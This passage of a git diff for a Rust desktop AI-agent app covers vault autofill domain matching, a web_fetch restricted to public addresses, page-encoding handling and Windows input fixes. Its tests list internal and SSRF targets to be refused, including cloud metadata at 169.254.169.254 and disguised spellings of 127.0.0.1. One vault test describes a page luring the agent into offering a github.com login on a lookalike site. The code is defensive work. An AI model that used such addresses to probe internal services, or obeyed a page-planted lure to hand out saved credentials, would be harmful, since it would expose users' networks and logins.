else's (a login saved for 「mine.pages.dev」 must not +/// be offered on 「someone-else.pages.dev」). +const SHARED_SUFFIXES: &[&str] = &[ + "com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "game.tw", "club.tw", "ebiz.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "me.uk", "ltd.uk", "plc.uk", "sch.uk", "nhs.uk", "police.uk", + "co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk", + "com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn", + "github.io", "gitlab.io", "vercel.app", "netlify.app", "pages.dev", "workers.dev", "web.app", "firebaseapp.com", "appspot.com", "herokuapp.com", "azurewebsites.net", "blogspot.com", + "cloudfront.net", "onrender.com", "fly.dev", "glitch.me", "surge.sh", "ngrok.io", "ngrok-free.app", "ngrok.app", "trycloudflare.com", "amazonaws.com", "s3.amazonaws.com", "elasticbeanstalk.com", + "web.core.windows.net", "blob.core.windows.net", "r2.dev", "deno.dev", "replit.app", "repl.co", "wixsite.com", "weebly.com", "myshopify.com", "ts.net", ]; +/// What registries put right under a country's two letters (「bank.com.tr」, 「x.gov.hk」, +/// 「y.co.il」): with one of these there, the name is the label before it. +const COUNTRY_SECOND_LEVELS: &[&str] = &["com", "co", "net", "org", "edu", "gov", "ac", "or", "ne", "go", "mil", "idv", "nom", "gob", "gouv"]; + +/// How many labels at the end of a host are a suffix shared by different owners (1: a plain +/// top-level domain). +fn suffix_labels(parts: &[&str]) -> usize { + let listed = SHARED_SUFFIXES.iter().map(|s| s.split('.').count()).filter(|n| parts.len() >= *n).filter(|n| SHARED_SUFFIXES.contains(&parts[parts.len() - n..].join(".").as_str())).max(); + if let Some(n) = listed { + return n; + } + match parts { + [.., second, top] if top.len() == 2 && top.chars().all(|c| c.is_ascii_alphabetic()) && COUNTRY_SECOND_LEVELS.contains(second) => 2, + _ => 1, + } +} + +fn labels(host: &str) -> Option> { + let h = host.trim().trim_end_matches('.').to_lowercase(); + if h.parse::().is_ok() { + return None; + } + Some(h.split('.').filter(|p| !p.is_empty()).map(String::from).collect()) +} + +/// The host is nobody's own name: a suffix different owners share (「com.tw」, 「github.io」). +pub fn is_public_suffix(host: &str) -> bool { + labels(host).is_some_and(|l| { + let parts: Vec<&str> = l.iter().map(String::as_str).collect(); + parts.len() >= 2 && parts.len() <= suffix_labels(&parts) + }) +} + /// "login.shop.example.co.uk" → "example.co.uk"; IP addresses and single labels stay as they are. pub fn registrable_domain(host: &str) -> String { - let h = host.trim().trim_end_matches('.').to_lowercase(); - if h.parse::().is_ok() { - return h; - } - let parts: Vec<&str> = h.split('.').filter(|p| !p.is_empty()).collect(); - if parts.len() <= 2 { - return parts.join("."); - } - let last2 = parts[parts.len() - 2..].join("."); - let n = if TWO_PART_SUFFIXES.contains(&last2.as_str()) { 3 } else { 2 }; - parts[parts.len() - n.min(parts.len())..].join(".") + let Some(l) = labels(host) else { return host.trim().trim_end_matches('.').to_lowercase() }; + let parts: Vec<&str> = l.iter().map(String::as_str).collect(); + let n = (suffix_labels(&parts) + 1).min(parts.len()); + parts[parts.len() - n..].join(".") } pub fn digits(s: &str) -> String { @@ -960,6 +995,23 @@ mod tests { assert_eq!(registrable_domain("www.ctbcbank.com.tw"), "ctbcbank.com.tw"); assert_eq!(registrable_domain("accounts.google.com"), "google.com"); assert_eq!(registrable_domain("127.0.0.1"), "127.0.0.1"); + assert_eq!((registrable_domain("google.com").as_str(), registrable_domain("t.co").as_str(), registrable_domain("localhost").as_str()), ("google.com", "t.co", "localhost")); + // Suffixes many owners share: the name is the label before the suffix, also where + // the suffix isn't on the list (a country's second level) or is longer than two labels. + assert_eq!(registrable_domain("www.bank.com.tr"), "bank.com.tr"); + assert_eq!(registrable_domain("a.b.gov.hk"), "b.gov.hk"); + assert_eq!(registrable_domain("mine.pages.dev"), "mine.pages.dev"); + assert_eq!(registrable_domain("x.bucket.s3.amazonaws.com"), "bucket.s3.amazonaws.com"); + assert_eq!(registrable_domain("go.com"), "go.com"); + assert!(is_public_suffix("com.tw") && is_public_suffix("github.io") && is_public_suffix("com.tr") && !is_public_suffix("example.com.tw") && !is_public_suffix("com") && !is_public_suffix("10.0.0.1")); + // A login is for its own name there, never for a neighbour's. + let mine = Item { kind: Kind::Login, sites: vec!["https://mine.pages.dev/login".into()], ..Default::default() }; + assert!(mine.fills_on("mine.pages.dev") && mine.fills_on("app.mine.pages.dev") && !mine.fills_on("evil.pages.dev") && !mine.fills_on("pages.dev")); + let bank = Item { kind: Kind::Login, sites: vec!["bank.com.tr".into()], ..Default::default() }; + assert!(bank.fills_on("online.bank.com.tr") && !bank.fills_on("evil.com.tr")); + // A login saved on a suffix itself (「www.gov.tw」 is a real site) is for that address only. + let gov = Item { kind: Kind::Login, sites: vec!["https://www.gov.tw/".into()], ..Default::default() }; + assert!(gov.fills_on("www.gov.tw") && gov.fills_on("gov.tw") && !gov.fills_on("evil.gov.tw")); assert_eq!(host_of("https://WWW.Example.com:8443/x?y"), "example.com"); let it = Item { kind: Kind::Login, sites: vec!["https://example.com/login".into()], ..Default::default() }; assert!(it.fills_on("app.example.com") && it.fills_on("example.com") && !it.fills_on("example.com.evil.io") && !it.fills_on("notexample.com")); @@ -1009,6 +1061,22 @@ mod tests { assert_eq!((c.brand.as_str(), c.last4.as_str(), c.exp_month, c.exp_year), ("Visa", "1111", 12, 2039)); assert_eq!(login_secret(&id).unwrap().1, "pa\"ss 你好"); assert_eq!(logins_for("gist.github.com").len(), 1); + // The open tab is the site, whatever `site` says: a page that talks the bot into naming + // github.com gets the lookalike warning (not matched → no grant to reuse), about itself. + let on = |tab: &str, args: serde_json::Value| crate::vault::plan_login_on(tab, &args); + let lure = on("evil.example", serde_json::json!({"site": "github.com"})).unwrap(); + assert_eq!((lure.host.as_str(), lure.matched), ("evil.example", false)); + assert!(lure.question().contains("evil.example") && lure.question().contains("仿冒"), "{}", lure.question()); + let by_id = on("evil.example", serde_json::json!({"login_id": id, "site": "github.com"})).unwrap(); + assert_eq!((by_id.host.as_str(), by_id.matched), ("evil.example", false)); + // On its own site (naming it or not), it is the saved login, with no warning. + for args in [serde_json::json!({}), serde_json::json!({"site": "https://www.github.com/login"})] { + let own = on("gist.github.com", args).unwrap(); + assert_eq!((own.host.as_str(), own.matched), ("gist.github.com", true)); + } + // Nothing saved for the named site, or no page open: refused before any lookup. + assert!(on("evil.example", serde_json::json!({"site": "nothing-saved.example"})).is_err()); + assert!(on("", serde_json::json!({"site": "github.com"})).is_err()); // Editing with an empty password keeps it. put_login(LoginInput { id: Some(id.clone()), sites: vec!["github.com".into(), "githubusercontent.com".into()], username: "me2".into(), password: String::new(), notes: String::new() }).unwrap(); assert_eq!(login_secret(&id).unwrap(), ("me2".to_string(), "pa\"ss 你好".to_string())); diff --git a/src/voice.rs b/src/voice.rs index 95ac78e..81fb87c 100644 --- a/src/voice.rs +++ b/src/voice.rs @@ -12,6 +12,15 @@ pub const MAX_SECS: u64 = 600; /// 會議記錄 can run longer: two hours stays under the transcription service's 25 MB limit at this /// recorder's bitrate (estimated). pub const MEETING_MAX_SECS: u64 = 7_200; +/// A recording limit in words (「10 分鐘」, 「2 小時」). +pub fn length_words(secs: u64) -> String { + if secs >= 3600 && secs.is_multiple_of(3600) { + format!("{} 小時", secs / 3600) + } else { + format!("{} 分鐘", secs / 60) + } +} + /// Transcription models tried in order. pub const MODELS: [&str; 2] = ["gpt-4o-mini-transcribe", "whisper-1"]; diff --git a/src/web.rs b/src/web.rs index d4200da..66f28cc 100644 --- a/src/web.rs +++ b/src/web.rs @@ -183,17 +183,133 @@ pub fn normalize_url(u: &str) -> Result { // ---------- web_fetch ---------- -fn fetch(url: &str) -> Result { - let url = normalize_url(url)?; - let agent: ureq::Agent = ureq::Agent::config_builder() +/// An address web_fetch may reach: out on the internet. Not this computer, not the network it +/// sits on (the router, the NAS, another service's port), not a cloud machine's metadata. +fn public_addr(ip: std::net::IpAddr) -> bool { + match ip { + std::net::IpAddr::V4(a) => { + let o = a.octets(); + // (100.64/10: carrier NAT and Tailscale; 192.0.0/24 and 240/4: reserved.) + !(a.is_loopback() || a.is_private() || a.is_link_local() || a.is_unspecified() || a.is_broadcast() || a.is_multicast() || o[0] == 0 || (o[0] == 100 && o[1] & 0xc0 == 64) || (o[0] == 192 && o[1] == 0 && o[2] == 0) || o[0] >= 240) + } + std::net::IpAddr::V6(a) => match a.to_ipv4_mapped() { + Some(v4) => public_addr(std::net::IpAddr::V4(v4)), + // (fc00::/7 is the private range, fe80::/10 link-local; 64:ff9b::/96 carries an IPv4 address.) + None => !(a.is_loopback() || a.is_unspecified() || a.is_multicast() || a.segments()[0] & 0xfe00 == 0xfc00 || a.segments()[0] & 0xffc0 == 0xfe80 || (a.segments()[0] == 0x64 && a.segments()[1] == 0xff9b)), + }, + } +} + +/// The host and port of a web address (the brackets off an IPv6 one). +fn host_port(url: &str) -> Option<(String, u16)> { + let (scheme, rest) = url.split_once("://")?; + let auth = rest.split(['/', '?', '#']).next()?.rsplit('@').next()?; + let default = if scheme.eq_ignore_ascii_case("https") { 443 } else { 80 }; + let (host, port) = match auth.strip_prefix('[') { + Some(v6) => { + let (h, after) = v6.split_once(']')?; + (h, after.strip_prefix(':').map(str::parse).transpose().ok()?.unwrap_or(default)) + } + None => match auth.rsplit_once(':') { + Some((h, p)) => (h, if p.is_empty() { default } else { p.parse().ok()? }), + None => (auth, default), + }, + }; + (!host.is_empty()).then(|| (host.to_string(), port)) +} + +/// web_fetch runs with nothing asked, so it reads the public web only: a page (or a redirect) +/// that names this computer or the network around it is refused. It used to reach them all. +fn public_only(url: &str) -> Result<(), String> { + use std::net::ToSocketAddrs; + let (host, port) = host_port(url).ok_or_else(|| format!("「{url}」看起來不是網址"))?; + let h = host.trim_end_matches('.').to_lowercase(); + let addrs: Vec = match h.parse::() { + Ok(ip) => vec![ip], + // (A name that can't be looked up here is left to the request, which fails the same + // way, or to the person's proxy, which looks it up itself.) + Err(_) => (h.as_str(), port).to_socket_addrs().map(|a| a.map(|s| s.ip()).collect()).unwrap_or_default(), + }; + if h == "localhost" || h.ends_with(".localhost") || addrs.iter().any(|a| !public_addr(*a)) { + return Err(format!("web_fetch 只讀公開的網頁,「{host}」是這台電腦或內部網路的位址。要看本機或區網上的服務,用 shell(例如 curl)或 browser_open。")); + } + Ok(()) +} + +/// Looks names up like the default resolver, and hands back only public addresses: the check +/// that holds at the moment of connecting (a name can answer differently the second time). +#[derive(Debug)] +struct PublicResolver(ureq::unversioned::resolver::DefaultResolver); + +impl ureq::unversioned::resolver::Resolver for PublicResolver { + fn resolve(&self, uri: &ureq::http::Uri, config: &ureq::config::Config, timeout: ureq::unversioned::transport::NextTimeout) -> Result { + let addrs = self.0.resolve(uri, config, timeout)?; + // The proxy the person set up is theirs to reach, wherever it is. + let proxy = config.proxy().is_some_and(|p| p.uri() == uri); + if !proxy && addrs.iter().any(|a| !public_addr(a.ip())) { + return Err(ureq::Error::Io(std::io::Error::new(std::io::ErrorKind::PermissionDenied, "內部網路的位址"))); + } + Ok(addrs) + } +} + +/// Where a redirect leads, from the page it came from. +fn follow(base: &str, location: &str) -> String { + let location = location.trim(); + let scheme = base.split_once("://").map(|(s, _)| s).unwrap_or("https"); + let origin_end = base.find("://").map(|i| i + 3).and_then(|i| base[i..].find(['/', '?', '#']).map(|j| i + j)).unwrap_or(base.len()); + if location.starts_with("http://") || location.starts_with("https://") { + location.to_string() + } else if location.starts_with("//") { + format!("{scheme}:{location}") + } else if location.starts_with('/') { + format!("{}{location}", &base[..origin_end]) + } else { + let path = base[origin_end..].split(['?', '#']).next().unwrap_or(""); + let dir = path.rfind('/').map(|i| &path[..=i]).unwrap_or("/"); + format!("{}{dir}{location}", &base[..origin_end]) + } +} + +/// Redirects web_fetch follows before it gives up (ureq's own default). +const MAX_REDIRECTS: usize = 10; + +/// A page off the public web, as text in its own encoding: where it ended up after redirects, +/// the status, and the text. Every stop on the way is checked (`public_only`), so nothing on +/// this computer or its network is read. (skill_install fetches through here too: it took any +/// address, the router's and a cloud machine's metadata included.) +pub fn get_public(url: &str, limit: u64) -> Result<(String, u16, String), String> { + let mut url = normalize_url(url)?; + // Redirects are followed here, one at a time, so each stop is checked like the first. + let config = ureq::Agent::config_builder() .http_status_as_error(false) + .max_redirects(0) .timeout_global(Some(Duration::from_secs(20))) .user_agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15") - .build() - .into(); - let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?; + .build(); + let agent = ureq::Agent::with_parts(config, ureq::unversioned::transport::DefaultConnector::new(), PublicResolver(Default::default())); + let mut hops = 0; + let resp = loop { + public_only(&url)?; + let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?; + let next = resp.headers().get("location").and_then(|l| l.to_str().ok()).filter(|_| matches!(resp.status().as_u16(), 301 | 302 | 303 | 307 | 308)).map(|l| follow(&url, l)); + match next { + Some(_) if hops >= MAX_REDIRECTS => return Err(format!("{url} 一直轉址,讀不到內容。")), + Some(to) => { + hops += 1; + url = to; + } + None => break resp, + } + }; let status = resp.status().as_u16(); - let body = resp.into_body().with_config().limit(MAX_FETCH_BYTES).read_to_string().map_err(|e| format!("讀取失敗:{e}"))?; + let said = resp.headers().get("content-type").and_then(|c| c.to_str().ok()).unwrap_or("").to_string(); + let body = page_text(&resp.into_body().with_config().limit(limit).read_to_vec().map_err(|e| format!("讀取失敗:{e}"))?, &said); + Ok((url, status, body)) +} + +fn fetch(url: &str) -> Result { + let (url, status, body) = get_public(url, MAX_FETCH_BYTES)?; if status >= 400 { return Err(format!("網站回應 {status}。如果這個頁面要登入,請改用 browser_open。")); } @@ -207,6 +323,25 @@ fn fetch(url: &str) -> Result { Ok(out) } +/// The name after `charset=` (a Content-Type header, or the start of a page with its +/// `` / ``). +fn charset_named(s: &str) -> Option { + let l = s.to_ascii_lowercase(); + let at = l.find("charset=")? + "charset=".len(); + let name: String = l[at..].trim_start_matches(['"', '\'', ' ']).chars().take_while(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')).collect(); + (!name.is_empty()).then_some(name) +} + +/// A page's bytes as text, in the encoding the answer's header names, else the one the page +/// itself names, else UTF-8 (bytes that are no text in it become �). Pages in Big5, GBK or +/// Shift_JIS — many older Taiwanese sites — were refused whole as 「讀取失敗」: they were read +/// as UTF-8 or not at all. +fn page_text(bytes: &[u8], content_type: &str) -> String { + let named = charset_named(content_type).or_else(|| charset_named(&String::from_utf8_lossy(&bytes[..bytes.len().min(4096)]))); + let encoding = named.and_then(|n| encoding_rs::Encoding::for_label(n.as_bytes())).unwrap_or(encoding_rs::UTF_8); + encoding.decode(bytes).0.into_owned() +} + fn between<'a>(s: &'a str, a: &str, b: &str) -> Option<&'a str> { let lower = s.to_ascii_lowercase(); let i = lower.find(a)?; @@ -308,24 +443,50 @@ fn osascript(script: &str, cancel: &AtomicBool) -> Result { if !cfg!(target_os = "macos") { return Err("在 Linux 上讀不到你自己瀏覽器裡的分頁。請改用 AnyBot 的瀏覽器(profile 用「預設」或其他設定檔)打開那個網址再讀;要登入的網站,請先在 AnyBot 的瀏覽器登入一次。".into()); } - let mut child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?; + let child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?; + match wait_piped(child, cancel, Duration::from_secs(SCRIPT_TIMEOUT_SECS)) { + Waited::Done(true, so, _) => Ok(so.trim_end().to_string()), + Waited::Done(false, _, se) => Err(se.trim().to_string()), + Waited::Stopped => Err("已停止".into()), + Waited::TooLong => Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into()), + } +} + +/// How waiting for a command ended: it finished (went well?, what it printed, what it +/// complained of), the turn was stopped, or it took too long (then it is killed). +enum Waited { + Done(bool, String, String), + Stopped, + TooLong, +} + +/// Wait for a command whose output comes through pipes, reading the pipes while waiting. A +/// pipe holds 64 KB: a command that prints more (a long page's text) stood still at that +/// point, was waited on until the time ran out, and the page was called unreachable. +fn wait_piped(mut child: std::process::Child, cancel: &AtomicBool, limit: Duration) -> Waited { + fn read_all(pipe: Option) -> std::thread::JoinHandle> { + std::thread::spawn(move || { + let mut all = vec![]; + if let Some(mut p) = pipe { + let _ = std::io::Read::read_to_end(&mut p, &mut all); + } + all + }) + } + let (out, err) = (read_all(child.stdout.take()), read_all(child.stderr.take())); let start = Instant::now(); loop { - if let Ok(Some(_)) = child.try_wait() { - let out = child.wait_with_output().map_err(|e| e.to_string())?; - let so = String::from_utf8_lossy(&out.stdout).trim_end().to_string(); - let se = String::from_utf8_lossy(&out.stderr).trim().to_string(); - return if out.status.success() { Ok(so) } else { Err(se) }; + if let Ok(Some(st)) = child.try_wait() { + let text = |h: std::thread::JoinHandle>| String::from_utf8_lossy(&h.join().unwrap_or_default()).into_owned(); + return Waited::Done(st.success(), text(out), text(err)); } - if cancel.load(Ordering::Relaxed) { + let stopped = cancel.load(Ordering::Relaxed); + if stopped || start.elapsed() > limit { let _ = child.kill(); - return Err("已停止".into()); + let _ = child.wait(); + return if stopped { Waited::Stopped } else { Waited::TooLong }; } - if start.elapsed() > Duration::from_secs(SCRIPT_TIMEOUT_SECS) { - let _ = child.kill(); - return Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into()); - } - std::thread::sleep(Duration::from_millis(100)); + std::thread::sleep(Duration::from_millis(if start.elapsed() < Duration::from_millis(500) { 10 } else { 100 })); } } @@ -356,16 +517,11 @@ fn front_window_owners(cancel: &AtomicBool) -> Vec { if !cfg!(target_os = "macos") { return vec![]; } - let Ok(mut child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] }; - let start = Instant::now(); - while start.elapsed() < Duration::from_secs(10) && !cancel.load(Ordering::Relaxed) { - if let Ok(Some(_)) = child.try_wait() { - return child.wait_with_output().map(|o| visible_window_owners(&String::from_utf8_lossy(&o.stdout))).unwrap_or_default(); - } - std::thread::sleep(Duration::from_millis(50)); + let Ok(child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] }; + match wait_piped(child, cancel, Duration::from_secs(10)) { + Waited::Done(_, out, _) => visible_window_owners(&out), + _ => vec![], } - let _ = child.kill(); - vec![] } /// The browser whose window is closest to the front: the one the person is looking at. @@ -506,6 +662,81 @@ mod tests { assert!(!html_to_text("不要

要

").contains("不要")); } + /// A command that prints more than a pipe holds is read to its end, not waited on until + /// the time runs out. + #[cfg(unix)] + #[test] + fn long_output_is_read_while_waiting() { + let run = |script: &str| Command::new("sh").args(["-c", script]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().unwrap(); + let start = Instant::now(); + match wait_piped(run("head -c 300000 /dev/zero | tr '\\0' a; echo oops >&2; exit 3"), &AtomicBool::new(false), Duration::from_secs(20)) { + Waited::Done(ok, out, err) => assert_eq!((ok, out.len(), err.trim()), (false, 300_000, "oops")), + _ => panic!("it should have finished"), + } + assert!(start.elapsed() < Duration::from_secs(10), "{:?}", start.elapsed()); + assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(false), Duration::from_millis(200)), Waited::TooLong)); + assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(true), Duration::from_secs(20)), Waited::Stopped)); + } + + /// A page is read in the encoding it says it is in. + #[test] + fn a_page_is_read_in_its_own_encoding() { + let (big5, _, _) = encoding_rs::BIG5.encode("臺南市政府公告事項"); + assert!(std::str::from_utf8(&big5).is_err(), "not UTF-8 to begin with"); + assert!(page_text(&big5, "text/html").contains("臺南市政府"), "named by the page"); + let (gbk, _, _) = encoding_rs::GBK.encode("中文网页"); + assert!(page_text(&gbk, "text/html; charset=GB2312").contains("中文网页"), "named by the header"); + let (old, _, _) = encoding_rs::BIG5.encode("舊網站"); + assert!(page_text(&old, "").contains("舊網站")); + assert_eq!(page_text("純 UTF-8".as_bytes(), "text/html; charset=utf-8"), "純 UTF-8"); + assert_eq!(page_text("沒說編碼".as_bytes(), ""), "沒說編碼"); + assert!(page_text(&[b'a', 0xff, b'b'], "text/html").starts_with('a'), "bad bytes don't lose the page"); + assert_eq!(charset_named("text/html; charset=\"x-unknown\"").as_deref(), Some("x-unknown")); + assert_eq!(page_text("未知編碼照 UTF-8".as_bytes(), "text/html; charset=x-unknown"), "未知編碼照 UTF-8"); + } + + /// web_fetch asks nothing, so it reaches the public web only. + #[test] + fn a_fetch_stays_on_the_public_web() { + for inside in [ + "http://127.0.0.1:8080/admin", + "http://localhost:3000/", + "http://api.localhost/", + "http://192.168.1.1/", + "http://10.0.0.5:9200/_cat/indices", + "http://172.16.4.4/", + "http://169.254.169.254/latest/meta-data/", + "http://100.100.100.100/", + "http://0.0.0.0:8000/", + "http://[::1]:8080/", + "http://[fd00::1]/", + "http://[fe80::1]/", + "http://[::ffff:127.0.0.1]/", + // Other spellings of 127.0.0.1 the system reads as an address. + "http://2130706433/", + "http://0x7f.1/", + "http://user:pw@127.0.0.1/", + "http://example.com@127.0.0.1/", + ] { + assert!(public_only(inside).is_err(), "{inside} was let through"); + // (Refused before any connection: by this check, or as not an address at all.) + assert!(fetch(inside).is_err_and(|e| e.contains("只讀公開的網頁") || e.contains("不是網址")), "{inside}"); + } + for outside in ["https://93.184.215.14/", "http://8.8.8.8:8080/x", "https://[2606:4700:4700::1111]/", "http://127.0.0.1.nip.invalid/"] { + assert!(public_only(outside).is_ok(), "{outside}"); + } + assert_eq!(host_port("https://example.com/a?b=http://127.0.0.1/"), Some(("example.com".to_string(), 443))); + assert_eq!(host_port("http://[::1]:81/x"), Some(("::1".to_string(), 81))); + assert_eq!(host_port("http://example.com:8080"), Some(("example.com".to_string(), 8080))); + assert_eq!(host_port("http://example.com?x=1"), Some(("example.com".to_string(), 80))); + // A redirect is read from the page it came from, then checked like any address. + assert_eq!(follow("https://a.example/x/y?q=1", "http://127.0.0.1/"), "http://127.0.0.1/"); + assert_eq!(follow("https://a.example/x/y?q=1", "//b.example/z"), "https://b.example/z"); + assert_eq!(follow("https://a.example/x/y?q=1", "/z"), "https://a.example/z"); + assert_eq!(follow("https://a.example/x/y?q=1", "z"), "https://a.example/x/z"); + assert_eq!(follow("https://a.example", "z"), "https://a.example/z"); + } + #[test] fn html_becomes_readable_text() { let html = "T

標題

第一段 文字 & 更多

中文
"; diff --git a/src/win.rs b/src/win.rs index 8e97980..eaccd9f 100644 --- a/src/win.rs +++ b/src/win.rs @@ -8,8 +8,8 @@ use windows::Win32::Graphics::Gdi::{ DIB_RGB_COLORS, SRCCOPY, }; use windows::Win32::UI::Input::KeyboardAndMouse::{ - SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP, - MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY, + SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_HWHEEL, MOUSEEVENTF_LEFTDOWN, + MOUSEEVENTF_LEFTUP, MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY, }; use windows::Win32::UI::WindowsAndMessaging::{ GetForegroundWindow, GetSystemMetrics, GetWindowRect, GetWindowTextLengthW, GetWindowTextW, GetWindowThreadProcessId, SM_CXSCREEN, SM_CYSCREEN, WindowFromPoint, @@ -34,7 +34,9 @@ fn keys(vk: u16, up: bool, unicode: bool, ch: u16) { let ki = KEYBDINPUT { wVk: VIRTUAL_KEY(if unicode { 0 } else { vk }), wScan: ch, - dwFlags: if unicode { KEYEVENTF_UNICODE } else { if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) } }, + // (A character is pressed and let go like any key: sent "down" twice, with no "up", + // every character was typed twice.) + dwFlags: (if unicode { KEYEVENTF_UNICODE } else { KEYBD_EVENT_FLAGS(0) }) | (if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) }), time: 0, dwExtraInfo: 0, }; @@ -73,6 +75,19 @@ fn modifiers(flags: u64) -> (Vec, Vec) { (down, up) } +/// Do something with the mouse while the modifier keys of `flags` are held (shift-click, +/// ctrl-scroll…): they were dropped, so every such step was a plain one. +fn holding(flags: u64, act: impl FnOnce()) { + let (down, up) = modifiers(flags); + for k in &down { + keys(*k, false, false, 0); + } + act(); + for k in &up { + keys(*k, true, false, 0); + } +} + pub fn move_to(x: f64, y: f64) { let (nx, ny) = norm(x, y); mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); @@ -84,17 +99,18 @@ pub fn click(x: f64, y: f64, button: &str, count: i64, flags: u64) { "middle" => (MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP), _ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP), }; - let _ = flags; let (nx, ny) = norm(x, y); mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); - for n in 1..=count.max(1) { - if n > 1 { - std::thread::sleep(std::time::Duration::from_millis(80)); + holding(flags, || { + for n in 1..=count.max(1) { + if n > 1 { + std::thread::sleep(std::time::Duration::from_millis(80)); + } + mouse(nx, ny, 0, down); + std::thread::sleep(std::time::Duration::from_millis(30)); + mouse(nx, ny, 0, up); } - mouse(nx, ny, 0, down); - std::thread::sleep(std::time::Duration::from_millis(30)); - mouse(nx, ny, 0, up); - } + }); } pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) { @@ -102,30 +118,47 @@ pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) { "right" => (MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP), _ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP), }; - let _ = flags; - if let Some((x, y)) = points.first() { - let (nx, ny) = norm(*x, *y); - mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); - mouse(nx, ny, 0, down); - } - for (x, y) in points.iter().skip(1) { - let (nx, ny) = norm(*x, *y); - mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); - std::thread::sleep(std::time::Duration::from_millis(20)); - } - if let Some((x, y)) = points.last() { - let (nx, ny) = norm(*x, *y); - mouse(nx, ny, 0, up); - } + holding(flags, || { + if let Some((x, y)) = points.first() { + let (nx, ny) = norm(*x, *y); + mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); + mouse(nx, ny, 0, down); + } + for (x, y) in points.iter().skip(1) { + let (nx, ny) = norm(*x, *y); + mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); + std::thread::sleep(std::time::Duration::from_millis(20)); + } + if let Some((x, y)) = points.last() { + let (nx, ny) = norm(*x, *y); + mouse(nx, ny, 0, up); + } + }); } -pub fn scroll(at: Option<(f64, f64)>, x: i32, y: i32, flags: u64) { - let _ = (x, flags); +/// Wheel units for a scroll the harness gives in pixels (crate::computer::scroll_pixels: +/// SCROLL_PIXELS_PER_STEP a step): one notch of the wheel (120) a step. +fn wheel(pixels: i32) -> u32 { + (pixels / crate::computer::SCROLL_PIXELS_PER_STEP * 120) as u32 +} + +/// `dy`, `dx`: the harness's (vertical, horizontal) pixels, up and left positive — the order +/// every other system's scroll takes them in. (They were read the other way round, and the +/// vertical one thrown away: up and down did nothing, left and right scrolled up and down.) +pub fn scroll(at: Option<(f64, f64)>, dy: i32, dx: i32, flags: u64) { if let Some((px, py)) = at { move_to(px, py); } - // Windows wheels by 120ths of a line; the harness counts lines. - mouse(0, 0, ((y * 120) as i32) as u32, MOUSEEVENTF_WHEEL); + holding(flags, || { + // The wheel turns away from the person (positive) to go up, like the harness's dy; + // the sideways wheel is positive to the right, the harness's dx to the left. + if dy != 0 { + mouse(0, 0, wheel(dy), MOUSEEVENTF_WHEEL); + } + if dx != 0 { + mouse(0, 0, wheel(-dx), MOUSEEVENTF_HWHEEL); + } + }); } pub fn type_text(text: &str) {